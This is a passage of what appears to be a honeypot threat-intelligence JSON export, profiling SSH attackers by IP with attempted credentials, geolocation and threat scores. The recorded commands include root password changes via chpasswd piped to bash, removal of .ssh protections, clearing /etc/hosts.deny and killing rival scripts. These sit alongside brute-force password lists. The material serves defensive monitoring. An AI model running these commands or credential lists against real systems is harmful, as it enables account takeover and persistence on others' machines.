        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nJ08NthWNLy9m\\nJ08NthWNLy9m\\n\"|passwd",
        "echo \"password\\nbSllZ4fa4Vtz\\nbSllZ4fa4Vtz\\n\"|passwd",
        "echo \"root:9POJoONleKnz\"|chpasswd|bash",
        "echo -e \"123\\nJ08NthWNLy9m\\nJ08NthWNLy9m\"|passwd|bash",
        "echo -e \"password\\nbSllZ4fa4Vtz\\nbSllZ4fa4Vtz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 381,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T03:18:01.649000+00:00",
        "last_seen_30d": "2026-03-17T20:39:27.685000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 316,
        "Suricata": 65
      }
    },
    "181.167.144.229": {
      "attack_count": 271,
      "first_seen": "2026-03-24T00:29:38.336Z",
      "last_seen": "2026-03-26T07:25:26.856Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "dylan",
        "test",
        "abe",
        "bogdan",
        "boss",
        "cc",
        "guest",
        "maxim",
        "prashant",
        "test101",
        "xray"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "1234",
        "12345678",
        "QWERTY12345",
        "Qq123456@",
        "Test101123!",
        "abe1234",
        "cc123",
        "guest",
        "maxim1234",
        "qqq"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nFWmugnKMI8Ix\\nFWmugnKMI8Ix\\n\"|passwd",
        "echo \"qqq\\noDwSCfI3hXaN\\noDwSCfI3hXaN\\n\"|passwd",
        "echo \"root:PNLMx9a0dQZ3\"|chpasswd|bash",
        "echo -e \"12345\\nFWmugnKMI8Ix\\nFWmugnKMI8Ix\"|passwd|bash",
        "echo -e \"qqq\\noDwSCfI3hXaN\\noDwSCfI3hXaN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 315,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T00:29:38.336000+00:00",
        "last_seen_30d": "2026-03-26T07:26:28.510000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 271,
        "Suricata": 44
      }
    },
    "38.242.200.116": {
      "attack_count": 265,
      "first_seen": "2026-03-03T01:34:24.193Z",
      "last_seen": "2026-03-03T02:04:10.888Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123@123",
        "@12345678",
        "A123456a",
        "Ab654321",
        "P@ssw0rd!2025",
        "ertyuiop",
        "qwe@123",
        "toor",
        "yusuf",
        "zZ123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613\\nxESqymxbGgTE\\nxESqymxbGgTE\\n\"|passwd",
        "echo \"root:bz7jetlrpAAr\"|chpasswd|bash",
        "echo \"root:wcKxLtmDvI1E\"|chpasswd|bash",
        "echo -e \"1233218613\\nxESqymxbGgTE\\nxESqymxbGgTE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:34:24.193000+00:00",
        "last_seen_30d": "2026-03-03T02:05:13.339000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 265,
        "Suricata": 42
      }
    },
    "103.145.63.218": {
      "attack_count": 263,
      "first_seen": "2026-03-18T14:06:03.089Z",
      "last_seen": "2026-03-20T20:51:33.488Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "common",
        "root",
        "ttt",
        "alexis",
        "andre",
        "chase",
        "crm",
        "cyrus",
        "gast",
        "info",
        "mama",
        "pivpn",
        "readonlyuser",
        "saeed",
        "scanner",
        "sistema",
        "steamcmd",
        "student4",
        "sysadmin"
      ],
      "passwords_attempted": [
        "12345678",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "123456Ww",
        "20102010",
        "Saeed123",
        "Scanner123",
        "Student4123",
        "andrepass",
        "chase",
        "gast@123",
        "mama",
        "pivpnpass",
        "sistema@123456",
        "test123",
        "tg1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nWhvFmkPfu9Mn\\nWhvFmkPfu9Mn\\n\"|passwd",
        "echo \"ttt\\nuyWv9k8w0W6G\\nuyWv9k8w0W6G\\n\"|passwd",
        "echo -e \"12345678\\nWhvFmkPfu9Mn\\nWhvFmkPfu9Mn\"|passwd|bash",
        "echo -e \"ttt\\nuyWv9k8w0W6G\\nuyWv9k8w0W6G\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135994,
      "as_org": "IDC Online Technology and Solutions Corporation",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:06:03.089000+00:00",
        "last_seen_30d": "2026-03-20T20:52:35.247000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "113.172.100.122": {
      "attack_count": 259,
      "first_seen": "2026-03-04T12:00:26.914Z",
      "last_seen": "2026-03-04T12:34:02.836Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "ABcd1234",
        "Aa@1234567890",
        "Aa_123456",
        "Az123456.",
        "Bingo@1993",
        "Master@2024",
        "UBUNTU@123",
        "Zl123456",
        "qwert123",
        "zxcvbnm,./",
        "zzzzzzzz"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:dWCQEbJZq14W\"|chpasswd|bash",
        "echo \"root:gXApzc1JHrId\"|chpasswd|bash",
        "echo \"root:rXvrkAHJsrfg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:00:26.914000+00:00",
        "last_seen_30d": "2026-03-04T12:35:07.651000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "134.209.6.130": {
      "attack_count": 248,
      "first_seen": "2026-03-11T04:33:16.876Z",
      "last_seen": "2026-03-16T01:16:30.992Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alfred",
        "intel",
        "nuxeo",
        "clawd",
        "erpnext",
        "evan",
        "g",
        "hdoop",
        "kibana",
        "kirill",
        "mgeweb",
        "msf",
        "park",
        "puppet",
        "qwerty",
        "root",
        "simeon",
        "super",
        "ttt"
      ],
      "passwords_attempted": [
        "password",
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Alfred123",
        "Evan123!",
        "Umar123!",
        "dodol123",
        "erpnext123!",
        "g1234",
        "park1234",
        "puppet",
        "qwerty1234",
        "ttt123!",
        "xwiki1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n1ZfCWGQGLEGm\\n1ZfCWGQGLEGm\\n\"|passwd",
        "echo \"Alfred123\\nYoVDbTttjuyJ\\nYoVDbTttjuyJ\\n\"|passwd",
        "echo -e \"12345678\\n1ZfCWGQGLEGm\\n1ZfCWGQGLEGm\"|passwd|bash",
        "echo -e \"Alfred123\\nYoVDbTttjuyJ\\nYoVDbTttjuyJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:33:16.876000+00:00",
        "last_seen_30d": "2026-03-16T01:17:39.374000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 248,
        "Suricata": 59
      }
    },
    "187.94.255.130": {
      "attack_count": 238,
      "first_seen": "2026-03-09T07:31:22.021Z",
      "last_seen": "2026-03-23T20:41:44.871Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "apagar",
        "deploy",
        "admin",
        "applmgr",
        "awsuser",
        "backend",
        "ceshi",
        "esuser",
        "karan",
        "kjh",
        "nikola",
        "pilot",
        "root",
        "socks",
        "socksuser",
        "telegram",
        "tms",
        "ubuntu",
        "wireguard"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "Aa123456",
        "Apagar123",
        "Deploy2025!",
        "Passw0rd!",
        "Pilot123",
        "Wireguard123!",
        "ceshi123!",
        "kjh123!",
        "nikola123",
        "password",
        "socks123!",
        "telegrampass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Apagar123\\nNSFjaguNR6wh\\nNSFjaguNR6wh\\n\"|passwd",
        "echo \"Deploy2025!\\nIIb9tJvfkJLM\\nIIb9tJvfkJLM\\n\"|passwd",
        "echo -e \"Apagar123\\nNSFjaguNR6wh\\nNSFjaguNR6wh\"|passwd|bash",
        "echo -e \"Deploy2025!\\nIIb9tJvfkJLM\\nIIb9tJvfkJLM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Piumhi",
      "asn": 262766,
      "as_org": "VITAL NET",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:31:22.021000+00:00",
        "last_seen_30d": "2026-03-23T20:42:47.579000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 56
      }
    },
    "152.32.215.203": {
      "attack_count": 237,
      "first_seen": "2026-03-07T14:01:50.859Z",
      "last_seen": "2026-03-22T04:15:11.075Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jane",
        "root",
        "steamcmd",
        "applmgr",
        "javier",
        "jira",
        "rose",
        "sandbox",
        "sg",
        "sim",
        "sit",
        "syj",
        "ts3bot",
        "user",
        "vboxuser",
        "wei",
        "wes",
        "zxy"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Aa321321",
        "Abc12345",
        "Javier123!",
        "Rose123",
        "applmgr123",
        "janepass",
        "sgpass",
        "sim123",
        "sit1234",
        "ts3bot123!",
        "vboxuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nUHnqSgLKTzTH\\nUHnqSgLKTzTH\\n\"|passwd",
        "echo \"janepass\\nnh8krASXKcsc\\nnh8krASXKcsc\\n\"|passwd",
        "echo -e \"123456\\nUHnqSgLKTzTH\\nUHnqSgLKTzTH\"|passwd|bash",
        "echo -e \"janepass\\nnh8krASXKcsc\\nnh8krASXKcsc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:01:50.859000+00:00",
        "last_seen_30d": "2026-03-22T04:16:15.659000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 58
      }
    },
    "89.22.235.124": {
      "attack_count": 227,
      "first_seen": "2026-03-31T05:30:21.171Z",
      "last_seen": "2026-03-31T06:46:56.714Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "oracle",
        "test",
        "tom",
        "awsgui",
        "default",
        "deploy",
        "developer",
        "docker",
        "es",
        "esroot",
        "esuser",
        "flask",
        "jumpserver",
        "oscar",
        "postgres",
        "ranger",
        "svnuser",
        "tomcat"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "abc123",
        "!Q@W3e4r",
        "!QAZ@WSX",
        "111111",
        "123321",
        "1234",
        "12345",
        "1234567890",
        "1234qwer",
        "1q2w3e4r",
        "1qaz2wsx",
        "1qaz@WSX",
        "1qazxsw2",
        "Qq123456",
        "Qwerty",
        "a123456A",
        "awsgui",
        "docker"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 210644,
      "as_org": "Aeza Group LLC",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T05:30:21.171000+00:00",
        "last_seen_30d": "2026-03-31T06:48:06.920000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 227,
        "Suricata": 102
      }
    },
    "5.78.147.54": {
      "attack_count": 213,
      "first_seen": "2026-03-20T16:44:55.410Z",
      "last_seen": "2026-03-20T17:15:47.294Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "michelle",
        "sipv",
        "alarm",
        "andre",
        "factura",
        "fernando",
        "jenkins",
        "jeremy",
        "portal",
        "pzuser",
        "samp",
        "squid",
        "student1",
        "tigergraph",
        "valerie"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Portal",
        "fernando123",
        "jenkins1",
        "michelle@123456",
        "password",
        "sampsamp",
        "sipv@123456",
        "valerie123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"michelle@123456\\nvzTEzuvlag7l\\nvzTEzuvlag7l\\n\"|passwd",
        "echo \"sipv@123456\\ndTY830Zo0Mpt\\ndTY830Zo0Mpt\\n\"|passwd",
        "echo -e \"michelle@123456\\nvzTEzuvlag7l\\nvzTEzuvlag7l\"|passwd|bash",
        "echo -e \"sipv@123456\\ndTY830Zo0Mpt\\ndTY830Zo0Mpt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 212317,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T16:44:55.410000+00:00",
        "last_seen_30d": "2026-03-20T17:16:47.885000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "152.32.131.112": {
      "attack_count": 188,
      "first_seen": "2026-03-17T17:39:54.469Z",
      "last_seen": "2026-03-17T18:00:55.364Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "apexuser",
        "g",
        "ax",
        "b",
        "elastic",
        "java",
        "root",
        "simeon",
        "test",
        "yan"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "axpass",
        "b123!",
        "java1234",
        "lol",
        "yan123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n6gbLqkQF751Y\\n6gbLqkQF751Y\\n\"|passwd",
        "echo \"123456\\n8KIhqOez2axc\\n8KIhqOez2axc\\n\"|passwd",
        "echo -e \"12345678\\n6gbLqkQF751Y\\n6gbLqkQF751Y\"|passwd|bash",
        "echo -e \"123456\\n8KIhqOez2axc\\n8KIhqOez2axc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T17:39:54.469000+00:00",
        "last_seen_30d": "2026-03-17T18:01:58.023000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "101.47.140.127": {
      "attack_count": 181,
      "first_seen": "2026-03-05T21:47:59.973Z",
      "last_seen": "2026-03-05T22:27:09.286Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "erpnext",
        "ovh",
        "matin",
        "personal",
        "remoteuser",
        "root",
        "web"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Matin123",
        "a@123456",
        "ovh123",
        "personal123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
